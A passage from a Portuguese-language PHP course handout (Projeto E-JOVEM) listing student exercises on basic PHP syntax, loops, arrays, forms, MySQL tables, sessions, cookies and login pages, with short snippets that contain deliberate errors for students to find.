Áries 21/março a 20/abril

Touro 21/abril a 20/maio

Gêmeos 21/maio a 20/junho

Câncer 21/junho a 22/julho

Leão 23/julho a 22/agosto

Virgem 23/agosto a 22/setembro

Libra 23/setembro a 22/outubro

Escorpião 23/outubro a 21/novembro

Sagitário 22/novembro a 21/dezembro

Capricórnio 22/dezembro a 20/janeiro

Page 118: 58777500 Apostila PHP

Projeto E-JOVEM

119

Aquário 21/janeiro a 19/fevereiro

Peixes 20/fevereiro a 20/março

18. Escreva um programa para ler uma temperatura em Fahrenheit e apresentá-la convertida

em graus Celsius (Centígrados). No mesmo programa permita que o usuário faça a

conversão inversa.

( Fahrenheit - 32 ) * 5

Celsius =

9

19. Escreva um programa que leia uma data de aniversário e informe se ela é válida ou não.

20. Faça um programa que leia o nome e o time de futebol de várias pessoas e informe

quantas pessoas são de cada time.

21. Uma pesquisa sobre características físicas de uma região coletou os dados abaixo,

referente a cada habitante:

• Ano de nascimento (de 1900 até o ano atual);

• Sexo (masculino / feminino);

• Cor dos olhos (pretos, castanhos, azuis, verdes, outros);

• Cor dos cabelos (preto, castanho, louro, ruivo);

• Renda mensal.

22. Faça um programa que leia todos os dados desta pesquisa, por habitante. Seu programa

deverá ter um link para um relatório onde poderemos visualizar:

• A quantidade de habitantes da região que foram cadastrados;

• A maior e a menor idade dos habitantes;

• A idade média e a idade mediana dos habitantes;

• A porcentagem de indivíduos do sexo feminino com olhos pretos ou castanhos e que

tenham renda mensal maior que R$ 1.000,00;

• A quantidade de indivíduos do sexo masculino com cabelos ruivos e renda menor que

R$ 1.000,00.

Page 119: 58777500 Apostila PHP

Projeto E-JOVEM

120

23. Faça um programa para leitura de dados da turma. Os dados a serem coletados são:

• Ano de nascimento;

• Ano a partir do qual começou a trabahar com computação;

• Altura;

• Sexo;

• Idiomas que fala;

• Atividades de lazer/hobby.

24. Analise de código

<html> <head><title>Exercício</title> </head> <body> <?php $str = array("morango" => "vermelho", "banana" => "amarelo"); /* um exemplo de como isto vai ficar */ echo "O Morango é $str["morango"]<br>" $first = $str["banana"]; $first =(strlen($first)-1) = "a"; echo "A banana é $first.<br>"; //Uma saída print_r($str); echo "<br>"; var_dump($str); ?> </body> </html>

• Tente descobrir onde está o erro neste script. • Os comentários existentes estão bem integrados (têm a sintaxe correcta)?

25. Perguntas de Verdadeiro e Falso

• PHP pode escrever scripts que rodem do lado do cliente? [V] | [F]

• Para correr PHP preciso de um servidor FTP? [V] | [F]

• uso de short-tags, tais como <? e ?> é mais benéfico do que as outras tags porque

assim perco menos tempo a escrever o código. [V] | [F]

• O PHP é mantido por uma comunidade de programadores pela internet e está

acessível a toda a gente. [V] | [F]

26. Escreva um código que exiba a mensagem "Olá Mundo!" no browser.

Page 120: 58777500 Apostila PHP

Projeto E-JOVEM

121

• Que instrução preciso de usar para exibir essa mensagem?

27. O php sempre reconhece os campos "name" do HTML como variáveis?

28. O que faz este script?

<?php phpinfo() ?>

29. Escreva um script php que escreva as frases da forma abaixo, utilizando-se de uma array

para armazenar os meses do ano e as estruturas de laço para informar os valores dos

mesmos:

Ciclo while

• Mês: Dezembro • Mês: Janeiro • Mês: Fevereiro • Mês: Março • Mês: Abril • Mês: Maio • Mês: Junho • Mês: Julho • Mês: Agosto • Mês: Setembro • Mês: Outubro • Mês: Novembro

Ciclo for

• Mês: Dezembro • Mês: Janeiro • Mês: Fevereiro • Mês: Março • Mês: Abril • Mês: Maio • Mês: Junho • Mês: Julho • Mês: Agosto • Mês: Setembro • Mês: Outubro • Mês: Novembro

Page 121: 58777500 Apostila PHP

Projeto E-JOVEM

122

Ciclo foreach

• Mês: Dezembro • Mês: Janeiro • Mês: Fevereiro • Mês: Março • Mês: Abril • Mês: Maio • Mês: Junho • Mês: Julho • Mês: Agosto • Mês: Setembro • Mês: Outubro • Mês: Novembro

30. A saída de um script php, deve ser da forma apresentada abaixo, utilizando-se de funções

para calculo de cada situação:

A soma de 3 com 2 é 5 ! A diferença entre 3 e 2 é de 1 ! O produto entre 3 e 2 é de 6 ! A divisão de 3 por 2 é 1.5 ! O resultado de 3+(2*3) é de 9 ! O resultado de 2/(3-2) é 2 ! O resultado de 3*((2/3)-2)+2 é de -2 !

31. Escreva um script que através dos valores de uma variável do tipo array, monte um campo

do tipo select, contendo todos os elementos do array.

32. O que é PHP?

33. Dê outros exemplos da utilidade do PHP.

34. Como funciona o PHP?

35. Esse exemplo abaixo irá funcionar?

<html>

<head>

<title>Titulo</title>

<body>

<?

echo "Ola mundo";

?>

Page 122: 58777500 Apostila PHP

Projeto E-JOVEM

123

</body>

</html>

36. Ache os erros abaixo:

a ) <? echo "ola mundo; ?>

b ) <? $1 = 123; ?> c ) <? $nome "Jose";?> d ) <? $nome == "José";?>

37. É possível copiar o código fonte PHP de uma pagina da web?

38. Mini Projeto:

1-Crie um banco de dados chamado bdCliente

2- Crie a tabela tbContatoCliente que possua os campos

• Código (inteiro);

• Nome (Varchar(30));

• Telefone (VarChar(10));

• Endereço (VarChar(60));

3- Faça uma consulta no seu banco de dados bdCliente que mostre:

• Todos os clientes

• Nome de todos os clientes

• Nome e código de todos os clientes

• Todos os clientes que moram na Rua K

• Todos os clientes cujo telefone começa com 9

4- Faça uma página em HTML chamada cadastra.html com os

campos:

• Código

• Nome

• Endereço

Page 123: 58777500 Apostila PHP

Projeto E-JOVEM

124

• Telefone

5- Escreva um código em PHP chamado recebe.php que receba os

dados da página cadastra.html e mostre-os na tela.

6- Faça com que os dados recebidos sejam enviados para a tabela

tbContatoCliente que está no banco de dados bdCliente.

7- Insira na página cadastra.html um botão que chame uma página

consulta.php que mostra todos os dados cadastrados na tabela

tbContatoCliente.

8- Insira na página cadastra.html um botão que chame uma página

consulta_por_nome.php que tenha um campo texto chamado

nome que deverá ser preenchido pelo usuário. Este campo

depois de preenchido e pressionado o botão consultar (que

deverá ser inserido nessa página) deverá consultar se o nome

digitado está na tabela. Se estiver enviar para uma janela todo o

registro.

9- Faça uma consulta pelo nome e os dados (nome e telefone)

deverão se mostrados dentro de uma caixa de texto.

10- Escreva um programa que faça o cadastramento de código e

nome de um produto qualquer.

11- Ao ser preenchido o formulário de cadastramento o programa

deverá ser redirecionado para uma página que mostrará o

produto cadastrado na página. Essa página deverá ter dois

botões (ou links). Um link deverá gravar os dados mostrados e o

outro deverá direcionar a página para um formulário já

Page 124: 58777500 Apostila PHP

Projeto E-JOVEM

125

preenchido com os dados para fazer uma alteração.

12- Faça as operações de exclusão e consulta também para este

exercício.

39. Faça um programa em PHP que carregue um vetor de seis elementos numéricos inteiros

sorteados aleatoriamente, calcule e mostre:

• A quantidade de números pares;

• Quais os números pares;

• A quantidade de números ímpares;

• Quais os números ímpares;

40. Qual a diferença entre scripts client-side e server-side?

41. O que acontece se digito echo "$var" ? e echo "\$var"?

42. O que acontece se digito echo "8/2" ? e echo "\8/2" e echo 8/2; ?

43. Para mostrar o resultado da soma de dois números, qual a instrução que devo usar?

o ( ) echo 1+2; o ( ) echo "1+2";

44. Verdadeiro ou falso?

• ( ) é correto digitar: <? $var= "3"; $var1=1; $soma = $var + $var1; ?>

• ( ) não se faz declaração de variáveis e tipos em php. os tipos são identificados pelo php a cada instrução. isso se chama "tipagem dinâmica"

• ( ) no printf e no echo é obrigatório o uso de parênteses • ( ) o índice de um vetor é sempre inteiro positivo • ( ) um vetor deve ter em todas as suas posições sempre valores de um mesmo tipo

45. Para que serve a função gettype()?

46. Para que serve a função unset()?

47. Para que serve a função isset()?

Page 125: 58777500 Apostila PHP

Projeto E-JOVEM

126

48. Qual a diferença entre isset() e empty()?

49. Crie um script usando laço FOR e WHILE que escreva um mesmo texto em cada linha

com tamanhos de fonte diferentes. Para isso tome como base a seguinte tag HTML <font

size=”x”> Texto </font>, onde x varia de 1 a 7

50. Considere duas variáveis, $linha e $coluna, no início de um script, inicializadas pelo

programador com quaisquer valores. Crie um script que crie uma tabela HTML de $linha

linhas e $coluna colunas e dentro de cada célula informe as coordenadas da mesma.

51. O que são “headers” e como estes são tratados em PHP? Escreva um pequeno programa

que exemplifique a utilização de headers.

52. O que são “locks” e para que servem? Apresente um exemplo de acesso a tabelas que

necessite da utilização de locks.

53. O que são sessões? Cite e descreva algumas situações onde se é recomendado o uso de

sessões e situações onde se deve evitar o uso das mesmas.

54. Descreva o funcionamento dos seguintes esquemas de autenticação:

● Via HTTP (descreva também os mecanismos que PHP oferece para fazer autenticação

via HTTP);

● Via banco de dados.

55. Por que a utilização de páginas de redireção (recibo) é necessária? Dê um exemplo (não é

necessário código PHP, apenas um caso de uso informal).

56. Faça uma página HTML que contenha um formulário com os campos nome, endereço, e-

mail, senha e confirmação de senha. Esse formulário deverá ser enviado para um script

PHPque irá verificar a existência e a integridade dos dados, mostrá- los e possibilitar ao

usuário voltar à página anterior caso haja algum erro ou confirmar os dados.

57. Escreva um esquema para armazenar os dados do formulário da questão anterior num

banco de dados MySQL. Estenda o código que recebe e verifica os dados do formulário

para armazená - los no banco de dados. Você deve verificar se o campo email existe no

banco de dados; se já existir, reapresente o formulário indicando o erro, por exemplo,

"Este email já está cadastrado".

Page 126: 58777500 Apostila PHP

Projeto E-JOVEM

127

58. Faça uma página com o conteúdo de acesso restrito. O acesso ao conteúdo desta página

somente será permitido caso o usuário efetue login no sistema (faça também uma página

de login) (utilize variáveis de sessão).

59. Escreva um programa em PHP que apresente três conteúdos distintos dependendo do

privilégio do usuário. Para usuários não “logados”, apresenta um formulário que deve ser

preenchido com nome (“login”) e senha. Neste caso, a página deve também ser

responsável pelo recebimento dos dados do formulário e pela verificação de credenciais

num banco de dados. Usuários credenciados podem pertencer a duas categorias, a dos

usuários com acesso do tipo 'R' (acesso restrito) e a dos usuários do tipo 'T', que podem

realizar todas as operações. Aos usuários do tipo 'R', após a verificação de credenciais,

deve ser apresentado um menu com links para as páginas 'a.php' e 'b.php', enquanto que

aos usuários do tipo 'T' devem ser apresentados também links para as páginas 'c.php' e

'd.php'.

60. Você foi encarregado de escrever uma página web de tal forma que cada novoacesso é

contabilizado por um contador que é exibido. Deve ser considerado um novo acesso um

acesso feito de um navegador que não acessa a página há mais de 2 horas.

61. Escreva em PHP o código relevante para esta funcionalidade usando cookies mas não

empregando quaisquer funções mysql.

62. Modifique o programa anterior de tal forma que cookies não sejam necessários, mas

agora utilizando um banco de dados mysql.

63. Crie um formulário de inserção de scraps (semelhante ao usado no Orkut) (destinatário,

remetente, conteúdo) e, após o envio de um scrap, exibir todos os scraps ordenados pela

data de envio (do mais recente ao mais antigo) com possibilidade de alteração e exclusão

para cada scrap.

Page 127: 58777500 Apostila PHP

Projeto E-JOVEM

128